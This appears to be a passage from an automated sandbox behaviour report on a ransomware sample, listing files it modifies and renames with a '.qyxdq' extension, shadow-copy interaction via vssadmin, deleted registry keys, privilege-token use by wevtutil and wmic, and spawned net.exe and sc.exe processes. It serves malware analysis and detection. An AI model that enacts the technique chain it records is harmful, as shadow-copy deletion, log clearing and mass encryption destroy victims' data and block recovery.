File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherImages\423x173\9.jpg C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-32_altform-unplated_contrast-black.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\5601_32x32x32.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\LTR\contrast-black\SmallTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.contrast-white_targetsize-30.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\StoreLogo.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_field_grabber.png.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_oDNRp9Mk3B40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProR_Retail-ul-oob.xrm-ms.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_32i-_xDJQf40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\AirSpace.Etw.man.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_C13sZbZphzg0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_KXFYy987-bE0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\LTR\contrast-white\SmallTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\ws_16x11.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\jfr.jar.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_6oKDKnJar-g0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteWideTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\feature.xml.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_eKlLvDFWw-Y0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\OperationValidationResources.psd1 C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\open_original_form.gif.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_5jq7K-gFsRc0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe\AppxManifest.xml C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubAppList.targetsize-30_altform-unplated_contrast-high.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubLargeTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\SpotlightCalendar_2016-05.gif C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteAppList.targetsize-32.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\OutlookMailMediumTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\root\ui-strings.js.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_jRfcBSsjEiw0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\large\rain.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxSignature.p7x C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerConstraints.exsd.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_Lt9GOg1mzoI0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED\REFINED.ELM.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_9bup867M4PQ0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\EmbossBitmaps\Rounded Rectangle.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\Assets\starttile.dualsim1.smile.scale-200.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\Assets\FileExtension.targetsize-32.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\ui-strings.js.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_WN8U8pkBZ4o0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\sl-SI\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Internet Explorer\fr-FR\ieinstal.exe.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\ado\ja-JP\msader15.dll.mui.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_kWG_H7pXxxQ0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxA-Generic-Dark.scale-150.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nb-no\ui-strings.js.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_RkfkyDuurp00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ro-ro\ui-strings.js.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_zpQPZhu0Tu40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG_COL.HXC.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_GDF3CB0eLI80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\Attribution\holiday_weather.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\ro-ro\ui-strings.js.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_UPTyrGk1X3U0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Orange Red.xml.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_d5PVQKyJXsg0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\fr-ma\ui-strings.js.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_tKG_GETeObo0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\images\themes\dark\file_icons.png.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_Jt_GuCZyQMU0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe\Assets\Office\move.scale-180.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sv-se\ui-strings.js.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_MxKJaQ1B4a40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubSmallTile.scale-100_contrast-white.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\Spacer\8px.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.DailyChallenges\Assets\Perfect\ribbon_1.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\Styling\css\PhoneLight.css C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3156 wrote to memory of 2336 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3156 wrote to memory of 2336 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2336 wrote to memory of 1328 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2336 wrote to memory of 1328 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3156 wrote to memory of 2836 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3156 wrote to memory of 2836 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2836 wrote to memory of 3272 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2836 wrote to memory of 3272 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3156 wrote to memory of 3584 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3156 wrote to memory of 3584 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 2320 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 2320 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3156 wrote to memory of 3064 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3156 wrote to memory of 3064 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3064 wrote to memory of 2736 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3064 wrote to memory of 2736 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3156 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3156 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2540 wrote to memory of 3704 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2540 wrote to memory of 3704 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3156 wrote to memory of 2872 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3156 wrote to memory of 2872 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2872 wrote to memory of 3208 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2872 wrote to memory of 3208 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3156 wrote to memory of 420 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3156 wrote to memory of 420 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 420 wrote to memory of 3996 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 420 wrote to memory of 3996 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3156 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3156 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3000 wrote to memory of 2804 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3000 wrote to memory of 2804 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3156 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 3156 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 1832 wrote to memory of 1240 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1832 wrote to memory of 1240 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3156 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
